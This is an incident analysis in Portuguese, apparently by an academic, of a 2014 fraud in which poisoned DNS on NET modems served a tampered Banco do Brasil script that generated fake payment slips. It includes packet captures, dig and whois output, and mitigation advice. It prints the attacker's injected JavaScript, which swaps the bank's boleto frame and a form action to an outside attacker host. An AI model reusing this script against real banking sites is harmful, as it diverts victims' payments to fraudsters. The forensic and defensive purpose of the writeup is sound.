Geração de Boletos Falsos do Banco do Brasil com acesso pela NET

Rodrigo Fonseca
Universidade de Brown
29 de Agosto de 2014

Introdução

Esta página documenta as causas da geração de boletos bancários falsos no site do Banco do Brasil, quando acessado de pontos de acesso da NET em Belo Horizonte. As falhas apontadas foram observadas no dia 27 de agosto de 2014.

Uma amiga minha, Fernanda, assinante da NET, foi vítima de um golpe no processo de atualização de um boleto bancário vencido, originalmente emitido pelo Banco do Brasil. A operação, iniciada no site do Banco do Brasil, causou a geração de um boleto falso, e o eventual pagamento da quantia do boleto para uma conta que não a do destinatário. Ela documentou o ocorrido em um video. Neste documento mostramos as falhas técnicas que permitem a fraude. O objetivo é de documentar o ocorrido e apontar as causas, para que tanto o Banco do Brasil quanto a NET possam corrigir os problemas e evitar futuras ocorrências. A investigação criminal, includindo a identificação da conta para onde foi desviado o dinheiro, não é objeto deste documento.

As fraudes de boletos tem sido muito comuns ultimamente, com um relatório [pdf] da firma de segurança RSA estimando até US$ 3,75 bilhões em fraudes. Este não deve ser o primeiro e nem será o último ataque, mas o documentamos aqui para apontar falhas tanto da NET quanto do Banco do Brasil, alertar usuários a apontar algumas práticas de segurança que fariam o ataque muito mais difícil.

Resumo

Se você só quer um resumo rápido do que aconteceu, a fraude em questão ocorre da seguinte forma:

  1. Antes da criação de um boleto, o site do Banco do Brasil, entre outros objetos, requisita o arquivo http://www57.bb.com.br/eni/APPS/arquivos/id.js, que é usado para identificação do navegador pelo banco, logo antes da página de geração do boleto.
  2. O endereço do servidor www57.bb.com.br normalmente é 170.66.14.13, mas, em pelo menos três modems da NET no dia 27/08/2014, o endereço retornado era 37.48.81.198, um endereço pertencente à leaseweb.nl, uma empresa de hospedagem de sites, localizado na Holanda.
  3. O script retornado id.js pelo servidor holandês, que o navegador acredita ser (e confia no conteúdo como se fosse) um servidor do Banco do Basil, tem o conteúdo alterado.
  4. O script falso inclui, no frame de geração de boletos, conteúdo vindo do site http://xserver2.boletos.cc
  5. O conteúdo do frame incluído é uma réplica do formulário de geração de boletos que, ao ser preenchido, altera o número do boleto, o que leva posteriormente ao pagamento da quantia à conta dos golpistas.

O passo chave do ataque é a resolução de DNS errada. A primeira (e mais comum) causa para isso seria um virus no computador do cliente. O que faz esse ataque mais sério é que isso não aconteceu: a falha de DNS ocorre na infra-estrutura da NET (ou no modem da NET, ou em um DNS resolver da empresa). O boleto falso, no mesmo computador, só é gerado quando este se conecta à Internet pela NET. Quando o computador foi conectado à Internet compartilhada de um iPhone conectado à Claro, não ocorreu o erro, pois a resolução do www57.bb.com.br foi correta.

A NET não é a única que falha, no entanto. Se o Banco do Brasil tivesse usado HTTPS para a transmissão de TODOS os objetos de suas páginas, inclusive o arquivo javascript mencionado acima, o ataque seria muito mais difícil, pois requereria um certificado SSL falso, ou assinado por uma Autoridade Certificadora comprometida. O problema também teria sido evitado com o uso de DNSSEC, ou DNS Seguro, mas sua verificação ainda não está muito difundida entre os navegadores.

Detalhes

Para documentar a falha de segurança gravamos, usando a ferramenta wireshark todos os pacotes Ethernet da interface usada pelo computador em questão em dois momentos: o primeiro, acessando o site do banco através da conexão da NET, e o segundo através de uma conexão WiFi compartilhada por um iPhone, na rede da Claro. Em ambos os casos todos os dados do navegador foram limpos, e executamos o mesmo procedimento de geração de boleto. Em um dado momento, ao se acessar a página do Banco do Brasil (em comunicação com www.bb.com.br, resolvido para 170.66.11.10), o navegador envia a requisição POST /portalbb/home29,116,116,1,1,1,1.bb HTTP/1.1. A resposta, que parece ser a página inicial do banco após a autenticação do usuário, e inclui a linha <script type="text/javascript" src="http://www57.bb.com.br/eni/APPS/arquivos/id.js"></script> O navegador então requisita a resolução de www57.bb.com.br e recebe o endereço errado. Na rede da NET, os pacotes DNS relativos a essa resolução são os seguintes:
779 22.889060000    10.0.0.29 -> 10.0.0.1     DNS 75 Standard query 0x18d8  A www57.bb.com.br
780 22.907640000     10.0.0.1 -> 10.0.0.29    DNS 105 Standard query response 0x18d8  A 37.48.81.198
Enquanto que na rede da Claro, a resolução se dá de forma correta:
297 25.405738000  172.20.10.5 -> 172.20.10.1  DNS 75 Standard query 0x53a0  A www57.bb.com.br
313 26.460452000  172.20.10.1 -> 172.20.10.5  DNS 91 Standard query response 0x53a0  A 170.66.14.13
Na primeira, o endereço 10.0.0.1 é do roteador conectado ao modem da Net. Para eliminar a possibilidade de o roteador estar causando a resolução errada, conectamos o computador diretamente ao modem da net e testamos a resolução com o comando dig:

$ dig www57.bb.com.br
; <<>> DiG 9.8.3-P1 <<>> www57.bb.com.br
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26497
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;www57.bb.com.br.		IN	A

;; ANSWER SECTION:
www57.bb.com.br.	38400	IN	A	37.48.81.198

;; AUTHORITY SECTION:
www57.bb.com.br.	38400	IN	NS	www57.bb.com.br.

;; Query time: 77 msec
;; SERVER: 201.17.128.73#53(201.17.128.73)
;; WHEN: Wed Aug 27 17:11:38 2014
;; MSG SIZE  rcvd: 63 
Note que o servidor de DNS (linha SERVER: acima) é 201.17.128.73, que é um endereço da NET.
$ host 201.17.128.73
73.128.17.201.in-addr.arpa domain name pointer c9118049.virtua.com.br.
O endereço 170.66.14.13 é do Banco do Brasil:
$ whois 170.66.14.13
...
% Brazilian resource: whois.registro.br

 
% Copyright (c) Nic.br
...
inetnum:     170.66/16
aut-num:     AS11993
abuse-c:     BABRA22
owner:       BANCO DO BRASIL S.A.
...
E de quem é o endereço 37.48.81.198 ?
$ whois 37.48.81.198
...
% Information related to '37.48.64.0 - 37.48.120.255'

% Abuse contact for '37.48.64.0 - 37.48.120.255' is 'abuse@leaseweb.com'

inetnum:        37.48.64.0 - 37.48.120.255
netname:        LEASEWEB
descr:          LeaseWeb
descr:          P.O. Box 93054
descr:          1090BB AMSTERDAM
descr:          Netherlands
descr:          www.leaseweb.com
remarks:        Please send email to "abuse@leaseweb.com" for complaints
remarks:        regarding portscans, DoS attacks and spam.
country:        NL
admin-c:        LSW1-RIPE
tech-c:         LSW1-RIPE
status:         ASSIGNED PA
mnt-by:         OCOM-MNT
source:         RIPE # Filtered
...
www.leaseweb.com é um serviço de hospedagem baseado em Amsterdan, na Holanda.

"Abandonai toda a esperança, ó voz que entrai..."
Dante Alighieri

Uma vez que o navegador é enganado a achar que um servidor impostor tem o mesmo domínio que o site principal (bb.com.br), toda a confiança está perdida, pois as políticas de segurança aceitam quaisquer arquivos vindos do servidor impostor como se tivessem vindo do domínio original. Ainda é pior, pois o navegador pode enviar dados para o servidor remoto sem qualquer filtro. Esses dados poderiam ser, por exemplo, senhas, extratos, ou dados da seção com o banco. O ataque em questão, no entanto, é mais simples. O conteúdo do arquivo javascript falso é o seguinte (incluindo o comentário simpático):

var dUrl = this.window.location.href;
try{

/*if (dUrl.indexOf('www59.bb.com.br') > 0)
{
        if ((dUrl.indexOf('boleto/boletos/oficialjustica/entrada,') > 0) && dUrl.indexOf('entradasecundaria') < 0 )
        {
                //alert(dUrl);
                var form = document.getElementById('formulario');
                form.action="http://xserver2.boletos.cc/oficial.jsp";

        }
}*/

if (dUrl.indexOf('www.bb.com.br') >=0)
{
        var frame=document.getElementById('conteudoChamada');
        if (frame.src.indexOf('www63') > 0&& frame.src.indexOf('boleto/boletos') > 0  )
        {
                //alert('aki porra');
                frame.src='http://xserver2.boletos.cc';
        }
}
}catch(e)
{

}
O navegador então requisita a página em http://xserver2.boletos.cc, que retorna um formulário falso de geração de boleto: No momento do ataque, este servidor resolvia para o endereço 209.236.74.176:
3645 39.153620000    10.0.0.29 -> 10.0.0.1     DNS 79 Standard query 0xa7cd  A xserver2.boletos.cc
3659 39.250878000     10.0.0.1 -> 10.0.0.29    DNS 238 Standard query response 0xa7cd  A 209.236.74.176
Este IP, por sua vez, pertence à Westhost, uma empresa de hospedagem nos EUA:
$ whois 209.236.74.176
...
#
# The following results may also be obtained via:
# http://whois.arin.net/rest/nets;q=209.236.74.176?showDetails=true&showARIN=false&ext=netref2
#

NetRange:       209.236.64.0 - 209.236.79.255
CIDR:           209.236.64.0/20
OriginAS:       AS29854
NetName:        WH-NET-209-236-64-0-1
NetHandle:      NET-209-236-64-0-1
Parent:         NET-209-0-0-0-0
NetType:        Direct Allocation
RegDate:        2010-02-25
Updated:        2014-01-02
Ref:            http://whois.arin.net/rest/net/NET-209-236-64-0-1

OrgName:        WestHost, Inc.
OrgId:          WESTHO
Address:        517 W 100 N STE 225
City:           Providence
StateProv:      UT
PostalCode:     84332
Country:        US
RegDate:        2000-03-13
Updated:        2014-08-20
Comment:        Please report abuse issues to abuse@westhost.com
Ref:            http://whois.arin.net/rest/org/WESTHO
...
Infelizmente dois dias depois do ataque os dois servidores envolvidos, bem como o domínio xserver2.boletos.cc, estão desativados. As duas empresas de hospedagem podem ter informações sobre quem contratou as hospedagens respectivas, mas aqui a investigação deixa de ser técnica.

Onde está a falha?

O fato demonstrado acima é que há uma resolução de DNS errada, feita pelo modem da NET. Isso é chamado de DNS poisoning. O programa dig, cujo resultado da execução no computador conectado diretamente ao modem da NET, mostrado acima, mostra inequivocamente que o modem retornou a resolução de DNS erronea. Como isso ocorreu?

Há duas possibilidades principais, ambas em infra-estrutura de responsabilidade da NET.

1. Modem Alterado

É possível que o modem tenha sido hackeado, e que tenha sido instalado nele a entrada errada, ou trocado a configuração de DNS, apontando para um servidor de DNS malicioso. O modem em questão é o Arris TG862. Um artigo de 2012 menciona vulnerabilidades básicas deste roteador, descobertas por Chris Naegelin's: "I basically found there was no way to secure the device other than to unplug it." Um cenário plausível é que hackers identificaram uma vulnerabilidade em roteadores deste modelo, fizeram uma varredura do espaço de endereços IP pertencentes à NET, e envenenaram o DNS resolver dos modems. Não seria a primeira vez: um outro artigo, também de 2012, menciona uma apresentação do Kasperski Lab. Nesta apresentação, Fabio Assolini diz que 4,5 milhões de modems foram hackeados no Brasil desde 2011. Ele menciona 6 fabricandes de modems com vulnerabilidades,40 servidores de DNS falsos, e provedores de Internet que distribuem dispositivos com falhas de segurança.

2. Infraestrutura de DNS da NET

Um ataque possível, mas consideravelmente mais difícil para alguém de fora, é o comprometimento de servidores de DNS da NET, que são usados pelos modems da empresa para a resolução de endereços.

3. Banco do Brasil

O site do Banco do Brasil também apresenta grave falha de segurança, ao requisitar objetos associados à página através de HTTP, e não de HTTPS, ou seja, via conexão segura. Conexões HTTPS se utilizam de certificados digitais para assegurar que o servidor enviando as informações para o navegador é um servidor do dono do domínio. Em outras palavras, o servidor diz que tem autoridade para falar como "bb.com.br". No caso específico deste ataque, a página do Banco do Brasil requisita o script http://www57.bb.com.br/eni/APPS/arquivos/id.js de um servidor separado no domínio bb.com.br. Se essa conexão fosse por HTTPS, o servidor teria que ter acesso a um certificado pertencente ao Banco do Brasil.

Embora seja possível de se obter certificados falsos, o ataque fica consideravelmente mais difícil neste caso, e simplesmente não há motivos para que o banco não utilize HTTPS para todos os objetos associados à sua página.

Como evitar o ataque

Dois dias depois da descoberta deste ataque, a NET corrigiu a resolução do DNS erronea, e os servidores e o domínio piratas envolvidos estão fora do ar. No entanto, há várias falhas que podem ser corrigidas, e que podem continuar a ter consequências muito sérias. A lista abaixo é complementar, e não substitui as medidas de segurança que devem ser tomadas pelos usuários, como a utilização anti-virus atualizados e a utilização de senhas seguras. Outra medida que pode ser tomada pelos usuários é de, ao invés de usar o servidor de DNS do provedor, trocar a configuração de DNS de seus computadores ou de roteadores para utilizar o servidor DNS do Google, 8.8.8.8.
  1. Substituição de modems com falhas de segurança (responsabilidade do provedor de acesso)
  2. Monitoração da infra-estrutura de resolução de DNS do provedor (responsabilidade do provedor de acesso)
  3. Utilização exclusiva de HTTPS como protocolo de transmissão de dados para sites que devem ser seguros
  4. Adoção de DNSSEC pelos mesmos sites (embora seja necessária a implementação da tecnologia nos navegadores também)

Essas medidas não garantem 100% de segurança, mas são imprescindíveis para que haja alguma chance de segurança.

Quem

Rodrigo Fonseca, PhD, é professor e pesquisador do departamento de Ciência da Computação da Universidade de Brown, nos EUA, especializado em redes de computadores e sistemas distribuídos.

Imagem da placa de trânsito cortesia do usuário do Flickr joshuamckenty.

Comentários

comments powered by Disqus